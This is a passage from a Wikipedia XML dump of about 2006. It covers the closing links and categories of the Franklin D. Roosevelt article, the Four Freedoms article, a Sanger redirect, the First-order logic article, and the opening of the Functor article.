* [http://www.potus.com/fdroosevelt.html IPL POTUS &amp;mdash; Franklin Delano Roosevelt]
* [http://gi.grolier.com/presidents/ea/bios/32proos.html Encyclopedia Americana: Franklin D. Roosevelt]
* [http://www.nisk.k12.ny.us/fdr/index.html An archive of political cartoons from the presidency of Franklin D. Roosevelt]
* [http://www.georgiaencyclopedia.org/nge/Article.jsp?id=h-767&amp;amp;pid=s-53 Warm Springs and FDR's Polio Treatment]
* [http://www.townhall.com/bookclub/powell.html Dutch Martin's review of ''FDR's folly'']
* [http://www.internet-esq.com/ussaugusta/atlantic/index.htm FDR at the Atlantic Conference]
* [http://www.davidpietrusza.com/FDR-links.html Franklin D. Roosevelt Links]
* [http://rooseveltinstitution.org/about/franklin_roosevelt On Franklin Roosevelt's progressive vision] from [http://rooseveltinstitution.org the Roosevelt Institution], a [[student think tank]] inspired in part by Franklin Roosevelt.
* {{gutenberg author| id=Franklin+Delano+Roosevelt | name=Franklin D. Roosevelt}}

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|title=[[List of United States Democratic Party presidential tickets|Democratic Party Vice Presidential candidate]]
|before=[[Thomas R. Marshall]]
|after=[[Charles W. Bryan]]
|years=[[U.S. presidential election, 1920|1920]] (lost)}}
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|title=[[Governor of New York]]
|before=[[Alfred E. Smith]]
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|years=1929 – 1933}}
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|title=[[List of United States Democratic Party presidential tickets|Democratic Party Presidential candidate]]
|before=[[Al Smith]]
|after=[[Harry Truman]]
|years=[[U.S. presidential election, 1932|1932]] (won), [[U.S. presidential election, 1936|1936]] (won), [[U.S. presidential election, 1940|1940]] (won), [[U.S. presidential election, 1944|1944]] (won)}}
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|title=[[President of the United States]]
|before=[[Herbert Hoover]]
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|years=[[March 4]], [[1933]] – [[April 12]], [[1945]]}}
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{{Persondata
|NAME=Roosevelt, Franklin Delano
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=32nd [[President of the United States]]
|DATE OF BIRTH=[[January 30]], [[1882]]
|PLACE OF BIRTH=[[Hyde Park, New York|Hyde Park]], [[New York]]
|DATE OF DEATH=[[April 12]], [[1945]]
|PLACE OF DEATH=[[Warm Springs, Georgia|Warm Springs]], [[Georgia (U.S. state)|Georgia]]
}}
{{Link FA|bg}}

[[Category:1882 births|Roosevelt, Franklin Delano]]
[[Category:1945 deaths|Roosevelt, Franklin Delano]]
[[Category:Alpha Delta Phi brothers|Roosevelt, Franklin Delano]]
[[Category:American lawyers|Roosevelt, Franklin Delano]]
[[Category:Columbia alumni|Roosevelt, Franklin Delano]]
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[[Category:Democratic Party (United States) presidential nominees|Roosevelt, Franklin Delano]]
[[Category:Dutch Americans|Roosevelt, Franklin Delano]]
[[Category:Elks|Roosevelt, Franklin Delano]]
[[Category:Episcopalians|Roosevelt, Franklin Delano]]
[[Category:Freemasons|Roosevelt, Franklin Delano]]
[[Category:Governors of New York|Roosevelt, Franklin Delano]]
[[Category:Harvard alumni|Roosevelt, Franklin Delano]]
[[Category:Knights of Pythias|Roosevelt, Franklin Delano]]
[[Category:Loyal Order of Moose members|Roosevelt, Franklin Delano]]
[[Category:New Deal|Roosevelt, Franklin Delano]]
[[Category:New York State Senators|Roosevelt, Franklin Delano]]
[[Category:Phi Beta Kappa members|Roosevelt, Franklin Delano]]
[[Category:Philatelists|Roosevelt, Franklin Delano]]
[[Category:Politicians with physical disabilities|Roosevelt, Franklin Delano]]
[[Category:Presidents of the United States|Roosevelt, Franklin Delano]]
[[Category:Roosevelt|Franklin Delano Roosevelt]]
[[Category:Shriners|Roosevelt, Franklin Delano]]
[[Category:The Delanos|Roosevelt, Franklin Delano]]
[[Category:U.S. Democratic Party vice presidential nominees|Roosevelt, Franklin Delano]]
[[Category:World War II political leaders|Roosevelt, Franklin Delano]]

[[ar:فرانكلين روزفلت]]
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[[eo:Franklin D. ROOSEVELT]]
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[[fa:فرانكلين دلانو روزولت]]
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[[ko:프랭클린 루스벨트]]
[[hr:Franklin Delano Roosevelt]]
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[[he:פרנקלין דלאנו רוזוולט]]
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[[zh:富兰克林·德拉诺·罗斯福]]</text>
    </revision>
  </page>
  <page>
    <title>Four Freedoms</title>
    <id>10980</id>
    <revision>
      <id>41159118</id>
      <timestamp>2006-02-25T12:18:40Z</timestamp>
      <contributor>
        <username>Domino theory</username>
        <id>59449</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">[[Image:Save Freedom of Speech.png|200px|right| ]]
The '''Four Freedoms''' are goals famously articulated by [[President of the United States|United States President]] [[Franklin D. Roosevelt]] in the [[State of the Union Address]] he delivered to the [[77th United States Congress]] on [[January 6]], [[1941]].  In an address also known as the '''Four Freedoms speech''', Roosevelt enumerated four points as fundamental freedoms humans &quot;everywhere in the world&quot; ought to enjoy:

#[[Freedom of speech]] and expression
#[[Freedom of religion|Freedom of every person to worship God in his own way]]
#Freedom from want - individual economic security
#Freedom from fear - world disarmament to the point that wars of aggression are impossible.

His inclusion of the latter two freedoms went beyond the traditional American Constitutional values protected by the [[First Amendment]], and endorsed a [[right]] to economic security and an [[internationalist]] view of foreign policy that have come to be central tenets of modern [[American liberalism]].

== The Declarations ==
The speech delivered by President Roosevelt incorporated the following section:

&lt;blockquote&gt;In the future days which we seek to make secure, we look forward to a world founded upon four essential human freedoms.&lt;br&gt;&lt;br&gt;
The first is '''freedom of speech and expression - everywhere in the world'''.&lt;br /&gt;&lt;br /&gt;
The second is '''freedom of every person to worship God in his own way - everywhere in the world'''.&lt;br&gt;&lt;br&gt;
The third is '''freedom from want''', which, translated into world terms, means economic understandings which will secure to every nation a healthy peacetime life for its inhabitants '''- everywhere in the world'''.&lt;br /&gt;&lt;br /&gt;
The fourth is '''freedom from fear''', which, translated into world terms, means a world-wide reduction of armaments to such a point and in such a thorough fashion that no nation will be in a position to commit an act of physical aggression against any neighbor '''- anywhere in the world'''.&lt;br /&gt;&lt;br /&gt;
That is no vision of a distant millennium. It is a definite basis for a kind of world attainable in our own time and generation. That kind of world is the very antithesis of the so-called &quot;new order&quot; of tyranny which the dictators seek to create with the crash of a bomb.&lt;/blockquote&gt;

== United Nations ==
The concept of the Four Freedoms became part of the personal mission undertaken by [[First Lady]] [[Eleanor Roosevelt]] regarding her inspiration behind the [[United Nations Declaration of Human Rights]].

== Norman Rockwell's Four Freedoms Paintings ==
President Roosevelt's Four Freedoms speech inspired a set of four paintings by [[Norman Rockwell]]. The four paintings were published in ''[[The Saturday Evening Post]]'' on [[February 20]], [[February 27]], [[March 6]] and [[March 13]] in [[1943]]. The paintings were accompanied in the magazine by matching [[essay]]s on the Four Freedoms. 

The [[Office of War Information]] toured Rockwell's Four Freedoms paintings around the country after their publication in 1943. The Four Freedoms Tour raised over $130,000,000 in [[war bond]] sales.

Rockwell's Four Freedoms paintings were also reproduced as [[postage stamp]]s by the [[United States Post Office]].

== Awards ==
The Franklin and Eleanor Roosevelt Institute [http://www.feri.org/] honors outstanding individuals who have demonstrated a lifelong commitment to these ideals. The [[Four Freedoms Award]] medals are awarded at ceremonies at [[Hyde Park, New York]] and [[Middelburg]], [[Netherlands]] during alternate years.  Among the laureates have been:

*[[Harry S. Truman]]
*[[John F. Kennedy]]
*[[James Earle Carter]]
*[[Averell Harriman]]
*[[Coretta Scott King]]
*[[Elie Wiesel]]
*[[Thomas P. O'Neill]]
*[[William Brennan]]
*[[Mike Mansfield]]
*H.R.H. [[Princess Juliana]] of the [[Netherlands]]
*[[Vaclav Havel]]
*[[Mikhail Gorbachev]]
*The [[Tenzin Gyatso, 14th Dalai Lama|Dalai Lama]]
*H.M. [[Juan Carlos]] of [[Spain]]
*[[Shimon Peres]]

==See also==
*[[Liberalism in the United States]]
*[[Four Freedoms (European Union)]]

==External links==
*[http://www.fdrlibrary.marist.edu/od4freed.html Full text and audio of the Four Freedoms speech].  An excerpt of the Four Freedoms section is also available.
*[http://www.feri.org/common/news/details.cfm?QID=2089&amp;clientid=11005 Full text of the Four Freedoms speech.]
*[http://www.fourfreedoms.org/about.html Four Freedoms Democratic Club]
*[http://www.best-norman-rockwell-art.com/four-freedoms.html Norman Rockwell's Four Freedoms Paintings]
*[http://www.usa-presidents.info/inaugural/bush-2.html Complete text of Second Inaugural Address by President Bush on January 20, 2005]

[[Category:World War II speeches]][[Category:State of the Union]][[Category:Novels]][[Category:World War II politics]]

[[de:Die vier Freiheiten]]
[[zh:四大自由]]</text>
    </revision>
  </page>
  <page>
    <title>Frederic Sanger</title>
    <id>10982</id>
    <revision>
      <id>15908769</id>
      <timestamp>2002-07-22T06:38:03Z</timestamp>
      <contributor>
        <ip>203.41.198.130</ip>
      </contributor>
      <minor />
      <comment>Redirect to his real name...</comment>
      <text xml:space="preserve">#REDIRECT [[Frederick Sanger]]</text>
    </revision>
  </page>
  <page>
    <title>First-order logic</title>
    <id>10983</id>
    <revision>
      <id>41931290</id>
      <timestamp>2006-03-02T18:31:34Z</timestamp>
      <contributor>
        <username>Dhruvee</username>
        <id>132859</id>
      </contributor>
      <text xml:space="preserve">{{mergefrom|Predicate calculus}} 

'''First-order predicate calculus''' or '''first-order logic''' ('''FOL''') is a system of [[mathematical logic]], extending [[propositional logic]] (equivalently, [[sentential logic]]) and in turn extended by [[second-order logic]].

The atomic sentences of first-order predicate logic have the form &lt;math&gt;P(t_1,\ldots,t_n)&lt;/math&gt; (a [[predicate (grammar)|predicate]] with one or more &quot;subjects&quot;) rather than being propositional letters as in [[propositional logic]].  This is usually written without parentheses or commas, as below.

The new ingredient of first-order logic not found in [[propositional logic]] is [[quantification]]:
where &lt;math&gt;\phi&lt;/math&gt; is any sentence, the new constructions &lt;math&gt;\forall x \phi&lt;/math&gt; and &lt;math&gt;\exists x\phi&lt;/math&gt;, read &quot;for all ''x'', &lt;math&gt;\phi&lt;/math&gt;&quot; and &quot;for some ''x'', &lt;math&gt;\phi&lt;/math&gt;&quot;, are introduced.  For convenience in explaining our intentions, we write &lt;math&gt;\phi&lt;/math&gt; as &lt;math&gt;\phi(x)&lt;/math&gt; and
let &lt;math&gt;\phi(a)&lt;/math&gt; represent the result of replacing all (free) occurrences of ''x'' in &lt;math&gt;\phi(x)&lt;/math&gt; with ''a'', then &lt;math&gt;\forall x\phi(x)&lt;/math&gt; means that &lt;math&gt;\phi(a)&lt;/math&gt; is true for any value of ''a'' and &lt;math&gt;\exists x\phi&lt;/math&gt; means that there is an ''a'' such that   &lt;math&gt;\phi(a)&lt;/math&gt; is true.  Values of the variables are taken from an understood [[universe of discourse]]; a refinement of first-order logic allows variables ranging over different sorts of object.

In [[second-order logic]] (and further systems of [[higher-order logic]]), quantifiers over predicate letters are introduced:  for example, equality
can be '''defined''' in second-order logic by &lt;math&gt;x=y \equiv_{def}\forall P(P(x) \leftrightarrow P(y))&lt;/math&gt;.  Quantification over predicates is not permitted in first-order logic.

First-order logic has sufficient expressive power for the formalization of virtually all of mathematics.  A [[first-order theory]] consists of a set of [[axioms]] (usually finite or [[recursively enumerable]]) and the statements deducible from them.  The usual set theory [[ZFC]] is an example of a first-order theory, and it is generally accepted that all of classical mathematics can be formalized
in [[ZFC]].  There are other theories that are commonly formalized independently in first-order logic (though they do admit implementation in set theory) such as [[Peano arithmetic]].

==Defining first-order logic==

A [[predicate calculus]] consists of 
* formation rules (i.e. recursive definitions for forming [[well-formed formula]]s).
* transformation rules (i.e. [[inference rule]]s for deriving theorems).
* a (possibly countably infinite) set of axioms or axiom schemata.

The axioms considered here are the ''logical'' axioms which are part of the predicate calculus.  Further, ''non-logical'' axioms are added in specific first-order theories:  these are not regarded
as truths of logic but as truths of the particular theory under consideration.

When the set of axioms is infinite, it is required that there is an [[algorithm]] which can decide for a given well-formed formula whether it is an axiom or not. Furthermore, there should be an algorithm which can decide whether a given application of an inference rule is correct or not.

It is important to note that the predicate calculus can be formalized in many equivalent ways; there is nothing canonical about the axioms and rules of inference given here, but any formalization will yield the same theorems of logic (and deduce the same theorems from any set of non-logical axioms).

==Vocabulary==
The &quot;vocabulary&quot; is composed of
# A set of '''predicate variables''' (or '''relations''') each with some valence &amp;ge;1, which are often denoted by uppercase letters P, Q, R,... 
# A set of '''constants''', often denoted by lowercase letters a, b, c,... .
# A set of '''functions''', each of some valence &amp;ge; 1, which are often denoted by lowercase letters f, g, h,... .
# An infinite set of '''variables''', often denoted by lowercase letters x, y, z,... .
# Symbols denoting logical operators: ¬ ([[logical not]]), &lt;math&gt;\wedge&lt;/math&gt; ([[logical conjunction|logical and]]), &lt;math&gt;\vee&lt;/math&gt; ([[logical disjunction|logical or]]), &amp;rarr; ([[logical conditional]]), &amp;harr; ([[logical biconditional]]).
# Symbols denoting quantifiers: &lt;math&gt;\forall&lt;/math&gt; ([[universal quantification]]), &lt;math&gt;\exists&lt;/math&gt; ([[existential quantification]]).
# Left and right parenthesis.
# An identity or equality symbol =  is sometimes but not always included in the vocabulary. 

There are several minor variations listed below: 
*Some symbols may be omitted as primitive and taken as abbreviations instead; e.g. (P &amp;harr; Q) is an abbreviation for (P &amp;rarr; Q) &lt;math&gt;\wedge&lt;/math&gt; (Q &amp;rarr; P). The minimum number of operators and quantifiers needed is three (or two if we define the operator nor or nand); for example, ¬,  &lt;math&gt;\wedge&lt;/math&gt;, and &lt;math&gt;\forall&lt;/math&gt; suffice. 
*Some older books and papers use the notation &amp;phi;&amp;sup;&amp;psi; for &amp;phi;&amp;rarr;&amp;psi; and ''x''&amp;Pi;(&amp;phi;) for &amp;forall;''x'' &amp;phi;.
*Equality is sometimes considered to be a part of first order logic; if it is then the equality symbol is included. This case is sometimes called '''first order logic with equality'''.
*Constants are really the same as functions of valence 0, so it would be possible to omit constants and allow functions to have any valence. But it is traditional and convenient to use the term &quot;function&quot; only for functions of valence at least 1. 
*In the definition above relations must have valence at least 1. It is possible to allow relations of valence 0; these could be considered as truth values, such as &quot;true&quot; and &quot;false&quot;. This usually makes little difference, because it is usually possible to define &quot;true&quot; in terms of other symbols, for example as &amp;forall;x (x = x).
*There are many different conventions about where to put parentheses; for example, one might write &amp;forall;x or (&amp;forall;x). Sometimes one uses colons or full stops instead of parentheses to make formulas unambiguous. One interesting but rather unusual convention is &quot;[[Polish notation]]&quot;, where one omits all parentheses, and writes &amp;and;, &amp;or;, and so on in front of their arguments rather than between them. Polish notation is compact and elegant, but rare because it is hard for humans to read it. 
* A technical observation (of which one can make what one will, philosophically) is that if there is a function symbol of arity 2 representing an ordered pair (or predicate symbols of arity 2 representing the projection relations of an ordered pair) then one can dispense entirely with functions or predicates of arity &gt;2.  Of course the pair or projections need to satisfy the natural axioms.

The sets of constants, functions, and relations are usually considered to form a '''language''', while the variables, logical operators, and quantifiers are usually considered to belong to the logic. For example, the language of group theory consists of one constant (the identity element), one function of valence 1 (the inverse) one function of valence 2 (the product), and one relation of valence 2 (equality), which would be omitted by authors who include equality in the underlying logic.

==Formation rules==
The '''formation rules''' define the terms, formulas, and the free variables in them as follows.

The set of '''terms'''  is recursively defined by the following rules:
# Any constant is a term (with no free variables).
# Any variable is a term (whose only free variable is itself).
# Any expression ''f''(''t''&lt;sub&gt;1&lt;/sub&gt;,...,''t''&lt;sub&gt;''n''&lt;/sub&gt;) of ''n''&amp;ge;1 arguments (where each argument ''t''&lt;sub&gt;''i''&lt;/sub&gt; is a term and ''f'' is a function symbol of valence ''n'') is a term. Its free variables are the free variables of any of the terms ''t''&lt;sub&gt;''i''&lt;/sub&gt;.
# '''Closure clause:''' Nothing else is a term.

The set of [[well-formed formula]]s (usually called '''wff'''s or just '''[[formula (mathematical logic)|formulas]]''') is recursively defined by the following rules:
# '''Simple and complex predicates''' If P is a relation of valence ''n''&amp;ge; 1 and the ''a''&lt;sub&gt;''i''&lt;/sub&gt; are terms  then &lt;math&gt;Pa_1,...,a_n&lt;/math&gt; is well-formed.  Its free variables are the free variables of any of the terms ''a''&lt;sub&gt;''i''&lt;/sub&gt;. If equality is considered part of logic, then (''a''&lt;sub&gt;1&lt;/sub&gt; = ''a''&lt;sub&gt;2&lt;/sub&gt;) is well formed. All such formulas are said to be ''atomic''.
# '''Inductive Clause I:''' If &amp;phi; is a ''wff'', then ¬ &amp;phi; is a ''wff''. Its free variables are the free variables of &amp;phi;.
# '''Inductive Clause II:''' If &amp;phi; and &amp;psi; are ''wff''s, then &lt;math&gt;(\phi \wedge \psi)&lt;/math&gt;,  &lt;math&gt;(\phi \vee \psi)&lt;/math&gt;, (&amp;phi; &amp;rarr; &amp;psi;), (&amp;phi; &amp;harr; &amp;psi;) are ''wff''s. Its free variables are the free variables of &amp;phi; or &amp;psi;.
# '''Inductive Clause III:''' If &amp;phi; is a ''wff'', then &lt;math&gt; \forall x \, \varphi &lt;/math&gt;  and &lt;math&gt; \exists x \, \varphi &lt;/math&gt; are ''wff''s (and similarly for any other variable in place of ''x''). Its free variables are the free variables of &amp;phi; or &amp;psi; other than ''x''. (Any instance of ''x'' (or other variable replacing ''x'' in this construction) is said to be [[binding|bound]] &amp;mdash; not free &amp;mdash; in &lt;math&gt; \forall x \, \varphi &lt;/math&gt; and &lt;math&gt; \exists x \, \varphi &lt;/math&gt;.)
# '''Closure Clause:''' Nothing else is a ''wff''.

In practice, if ''P'' is a relation of valence 2, we often write &quot;''a P b''&quot; instead of &quot;''P a b''&quot;; for example,
we write 1&amp;lt;2 instead of &amp;lt;1 2. Similarly if ''f'' is a function of valence 2, we sometimes write &quot;''a f b''&quot; instead of &quot;''f(a b)''&quot;; for example,
we write 1+2 instead of +(1 2). It is also common to omit some parentheses if this does not lead to ambiguity.

'''Substitution''': If ''t'' is a term and &amp;phi;(''x'') is a formula possibly containing ''x'' as a free variable, then 
&amp;phi;(''t'') is defined to be the result of replacing all free instances of ''x'' by ''t'', '''provided that no free variable of ''t'' becomes bound in this process'''. If some free variable of ''t'' becomes bound, then to substitute ''t'' for ''x'' it is first necessary to change the names of bound variables of &amp;phi; to something other than the free variables of ''t''. To see why this condition is necessary, consider the formula &amp;phi;(''x'') given by &amp;forall;''y'' ''y''&amp;le;''x'' (&quot;''x'' is maximal&quot;). If ''t'' is a term without ''y'' as a free variable, then &amp;phi;(''t'') just means ''t'' is maximal. However if ''t'' is ''y'' the formula &amp;phi;(''y'') is &amp;forall;''y'' ''y''&amp;le;''y'' which does '''not''' say that ''y'' is maximal. The problem is that the free variable 
''y'' of ''t'' (=''y'') became bound when we substituted ''y'' for ''x'' in &amp;phi;(''x''). So to form &amp;phi;(''y'') we must first change the bound variable ''y'' of &amp;phi; to something else, say ''z'', so that &amp;phi;(''y'') is then &amp;forall;''z'' ''z''&amp;le;''y''. Forgetting this condition is a notorious cause of errors. 

'''Examples''': The language of ordered abelian groups has one constant 0, one unary function &amp;minus;, one binary function +, and one binary relation &amp;le;. So
*0, ''x'', ''y'' are '''atomic terms'''
*+(''x'', ''y''), +(''x'' +(''y'' &amp;minus;(''z''))) are '''terms''', usually written as ''x'' + ''y'', ''x'' + (''y'' + &amp;minus;''z'')
*+(''x'', ''y'') = 0, &amp;le; +(''x'' +(''y'' &amp;minus;(''z''))) +(''x'', ''y'') are '''atomic formulas''', usually written as ''x'' + ''y'' = 0, ''x'' + ''y''&amp;minus;''z'' &amp;le; ''x'' + ''y'',
*(&amp;forall;''x'' &amp;exist;''y'' &amp;le; +(''x'' ''y'') ''z'' &amp;and; &amp;exist;''x'' +(''x'', ''y'') = 0) is a '''formula''', usually written as (&amp;forall;''x'' &amp;exist;''y'' ''x'' + ''y'' &amp;le; ''z'')  &amp;and; (&amp;exist;''x'' ''x'' + ''y'' = 0).

==Equality==

There are several different conventions for using equality (or identity) in first order logic. This section summarizes the main ones. The various conventions all give essentially the same results with about the same amount of work, and differ mainly in terminology.

*The most common convention for equality is to include the equality symbol as a primitive logical symbol, and add the axioms for equality to the axioms for first order logic. The equality axioms are
::''x'' = ''x''
::''x'' = ''y'' &amp;rarr; ''f''(...,''x'',...) = ''f''(...,''y'',...) for any function ''f''
::''x'' = ''y'' &amp;rarr; (''P''(...,''x'',...) &amp;rarr; ''P''(...,''y'',...)) for any relation ''P''
*The next most common convention is to include the equality symbol as one of the relations of a theory, and add the equality axioms to the axioms of the theory. In practice this is almost indistinguishable from the previous convention, except in the unusual case of theories with no notion of equality. The axioms are the same, and the only difference is whether one calls some of them logical axioms or axioms of the theory. 
*In theories with no functions and a finite number of relations, it is possible to define equality in terms of the relations, by defining the two terms ''s'' and ''t'' to be  equal if any relation is unchanged by changing ''s'' to ''t'' in any argument. For example, in set theory with one relation &amp;isin;, we would define ''s''=''t'' to be an abbreviation for &amp;forall;x(s&amp;isin;x &amp;harr; t&amp;isin;x) &amp;and; &amp;forall;x(x&amp;isin;s &amp;harr; x&amp;isin;t). This definition of equality then automatically satisfies the axioms for equality. 
*In some theories it is possible to give ''ad hoc'' definitions of equality. For example, in a theory of partial orders with one relation &amp;le; we could define ''s''=''t'' to be an abbreviation for ''s''&amp;le;''t'' &amp;and; ''t''&amp;le;''s''.
* It is also sometimes useful to discuss &quot;''P(x)'' holds for exactly one ''x''&quot;, which can be expressed as:
::{| cellpadding=&quot;5&quot;
|-
| || &lt;math&gt;\exists x \bullet (P(x) \land \forall y \bullet (P(y) \Rightarrow (x=y)))&lt;/math&gt;
|-
| or: || &lt;math&gt;\exists !x \bullet P(x)&lt;/math&gt;
|}

==Inference rules ==

The inference rule [[modus ponens]] is the only one required from [[propositional logic]] for the formalization given here. It states that if &amp;phi; and &amp;phi;&amp;rarr;&amp;psi; are both proved, then one can deduce &amp;psi;.

The inference rule called [[Generalization (logic)|Universal Generalization]] is characteristic of the predicate calculus.  It can be stated as
: &lt;math&gt;\mathrm{if} \vdash \phi, \mathrm{then} \vdash \forall x \phi&lt;/math&gt;
where &lt;math&gt;\phi&lt;/math&gt; is supposed to stand for an already-proven theorem of predicate calculus.

Notice that Generalization is analogous to the Necessitation Rule of [[modal logic]], which is
:&lt;math&gt;\mathrm{if} \vdash P, \mathrm{then} \vdash  \Box P.&lt;/math&gt;

==Quantifier axioms==

The following four logical axioms characterize a predicate calculus:
* PRED-1: &lt;math&gt; \forall x Z(x) \rightarrow Z(y) &lt;/math&gt;
* PRED-2: &lt;math&gt; Z(y) \rightarrow \exists x Z(x) &lt;/math&gt;
* PRED-3: &lt;math&gt; \forall x (W \rightarrow Z(x)) \rightarrow (W \rightarrow \forall x Z(x)) &lt;/math&gt;
* PRED-4: &lt;math&gt; \forall x (Z(x) \rightarrow W) \rightarrow (\exists x Z(x) \rightarrow W) &lt;/math&gt;
These are actually [[axiom schema|axiom schemata]]: the expression ''W'' stands for any wff in which x is not free, and
the expression ''Z(x)'' stands for any wff with the additional convention that ''Z(y)'' stands for the same wff with ''y'' replacing all free occurrences of ''x''.

==The predicate calculus==
The predicate calculus is an extension of the [[propositional calculus]] that defines which statements of first order logic are provable.  If the propositional calculus is defined with a suitable set of axioms and the single rule of inference [[modus ponens]] (this can be done in many different ways), then the predicate calculus can be defined by appending some additional axioms and the additional inference rule &quot;universal generalization&quot;. More precisely, as axioms for the predicate calculus we take:
*All tautologies from the propositional calculus (with the proposition variables replaced by formulas).
*The axioms for quantifiers, given above.
*The axioms for equality given above, if equality is regarded as a logical concept.
A sentence is defined to be '''provable in first order logic''' if it can be obtained by starting with the axioms of the predicate calculus and repeatedly applying the inference rules &quot;modus ponens&quot; and &quot;universal generalization&quot;. 

If we have a theory ''T'' (a set of statements, called axioms,  in some language) then a sentence &amp;phi; is defined to be '''provable in the theory ''T'' ''' if ''a''&amp;and;''b''&amp;and;...&amp;rarr; &amp;phi; is provable in first order logic, for some finite set of axioms ''a'', ''b'',... of the theory ''T''. 

One apparent problem with this definition of provability is that it seems rather ad hoc: we  have taken some apparently random collection of axioms and rules of inference, and it is far from clear that we have not accidently missed out some vital axiom or rule. [[Gödel's completeness theorem]] assures us that this is not really a problem: the theorem states that any statement true in all models is provable in first order logic. In particular, any reasonable definition of &quot;provable&quot; in first order logic must be equivalent to the one above (though it is possible for the lengths of proofs to differ vastly for different definitions of provability).  

There are many different (but equivalent) ways to define provability. The definition above is a typical example of a &quot;Hilbert style&quot; calculus, which has a lot of different axioms but very few rules of inference. The [[Sequent_calculus|&quot;Gentzen style&quot; predicate calculus]] differs in that it has very few axioms but many rules of inference.

==Metalogical theorems of first-order logic==

Some important metalogical theorems are listed below in bulleted form.
# Unlike the [[propositional calculus]], first-order logic is [[Decidability (logic)|undecidable]], provided that the language has at least one predicate of valence at least 2. There is provably no [[decision procedure]] for determining for an arbitrary formula P, whether P is valid (see [[Halting problem]]). (Results came independently from [[Alonzo Church|Church]] and [[Alan Turing|Turing]].)
# The decision problem for validity is semidecidable; in other words, there is a [[Turing machine]] that when given any sentence as input, will halt if and only if the sentence is valid (true in all models). As [[Gödel's completeness theorem]] shows, for any '''valid''' formula P, P is provable. 
# Monadic predicate logic (i.e., predicate logic with only predicates of one argument) is decidable.

==Comparison with other logics==

*'''Typed first order logic''' allows variables and terms to have various '''types''' (or '''sorts'''). If there are only a finite number of types, this does not really differ much from first order logic, because one can describe the types with a finite number of unary predicates and a few axioms. Sometimes there is a special type &amp;Omega; of truth values, in which case formulas are just terms of type &amp;Omega;.
*'''Weak second order logic''' allows quantification over finite subsets.
*'''Monadic second order logic''' allows quantification over subsets, or in other words over ''unary'' predicates.
*'''[[Second order logic]]''' allows quantification over subsets and relations, or in other words over all predicates. 
*'''[[Higher order logic]]s''' allows quantification over more general things, such as relations between relations. 
*'''[[intuitionistic logic|Intuitionistic first order logic]]''' uses intuitionistic rather than classical propositional calculus; for example, &amp;not;&amp;not;&amp;phi; need not be equivalent to &amp;phi;. 
*'''[[Modal logic]]''' has extra ''modal operators'' with informal meanings such as  &quot;it is necessary that &amp;phi;&quot; and &quot;it is possible that &amp;phi;&quot;. 
*'''[[Infinitary logic]]''' allows infinitely long sentences. For example, one may allow a conjugation or disjunction of infinitely many formulas, or quantification over infinitely many variables. 
*'''First order logic with extra quantifiers''' has new quantifiers ''Qx'',..., with meanings such as &quot;there are many ''x'' such that ...&quot;.


Most of these logics are in some sense extensions of first order logic: they include all the quantifiers and logical operators of first order logic with the same meanings. Lindstrom showed first order logic has no extensions (other than itself) that satisfy both the compactness theorem and the downward [[Lowenheim-Skolem theorem]]. A precise statement of this theorem requires listing several pages of technical conditions that the logic is assumed to satisfy; for example, changing the symbols of a language should make no essential difference to which sentences are true.

An exotic equivalence is the exact equivalence between first order logic with an ordered pair construction and a natural system of relation algebra with the projections of an ordered pair as special relations, investigated by Tarski and Givant.

==See also==
*[[Gödel's incompleteness theorem]]
*[[Gödel's completeness theorem]]
*[[List of rules of inference]]
*[[Mathematical logic]]
*[[List of first-order theories]]

==References==
* [[David Hilbert]] and [[Wilhelm Ackermann]] (1928). ''Grundzüge der theoretischen Logik'' ([[Principles of Theoretical Logic]]). Springer-Verlag, ISBN 0-8218-2024-9.
* [http://plato.stanford.edu/entries/logic-classical/ Article on classical logic] by Stewart Shapiro at the [[Stanford Encyclopedia of Philosophy]], which covers the definition, model theory and soundness and completeness results for first-order logic characterised in a natural deduction style. 
* [http://www.ltn.lv/~podnieks/ Introduction to mathematical logic] by Karl Podnieks.
* [http://us.metamath.org/index.html Metamath]: a project to construct mathematics using an axiomatic system based on [[propositional calculus]], predicate calculus, and [[set theory]]

[[de:Prädikatenlogik]]
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    <title>First-order predicate calculus</title>
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      <text xml:space="preserve">:''For functors in [[computer science]], see the [[function object]] article.''

In [[category theory]], a '''functor''' is a special type of mapping between categories. Functors can be thought of as [[morphism]]s in the [[category of small categories]].

Functors were first considered in [[algebraic topology]], where algebraic objects (like the [[fundamental group]]) are associated to [[topological space]]s, and algebraic [[homomorphism]]s are associated to [[continuous function|continuous]] maps. Nowadays, functors are used throughout modern mathematics to relate various categories.

==Definition==

Let ''C'' and ''D'' be [[category (mathematics)|categories]]. A '''functor''' ''F'' from ''C'' to ''D'' is a mapping that
* associates to each object ''X'' in ''C'' an object ''F''(''X'') in ''D'',
* associates to each morphism ''f'' : ''X'' &amp;rarr; ''Y'' in ''C'' a morphism ''F''(''f'') : ''F''(''X'') &amp;rarr; ''F''(''Y'') in ''D''
such that the following two properties hold:
* &lt;math&gt;F(id_{X}) = id_{F(X)}&lt;/math&gt; for every object &lt;math&gt;X \in C&lt;/math&gt;
* &lt;math&gt;F(g \circ f) = F(g) \circ F(f)&lt;/math&gt; for all morphisms &lt;math&gt;f:X \rightarrow Y&lt;/math&gt; and &lt;math&gt;g:Y\rightarrow Z&lt;/math&gt;.

That is, functors must preserve identity morphisms and composition of morphism.

===Covariance and contravariance===

There are many constructions in mathematics which would be functors but for the fact that they &quot;turn morphisms around&quot; and &quot;reverse composition&quot;. We then define a '''contravariant functor''' ''F'' from ''C'' to ''D'' as a mapping that 
*associates to each object &lt;math&gt;X \in C&lt;/math&gt; an object &lt;math&gt;F(X) \in D&lt;/math&gt;,
*associates to each morphism &lt;math&gt;f:X\rightarrow Y \in C&lt;/math&gt; a morphism &lt;math&gt;F(f):F(Y) \rightarrow F(X) \in D&lt;/math&gt; such that
**&lt;math&gt;F(id_X)=id_{F(X)}&lt;/math&gt; for every object &lt;math&gt;X \in C&lt;/math&gt;,
**&lt;math&gt;F(g \circ f) = F(f) \circ F(g)&lt;/math&gt; for all morphisms &lt;math&gt;f:X\rightarrow Y&lt;/math&gt; and &lt;math&gt;g:Y\rightarrow Z&lt;/math&gt;.

Note that contravariant functors reverse the direction of composition.

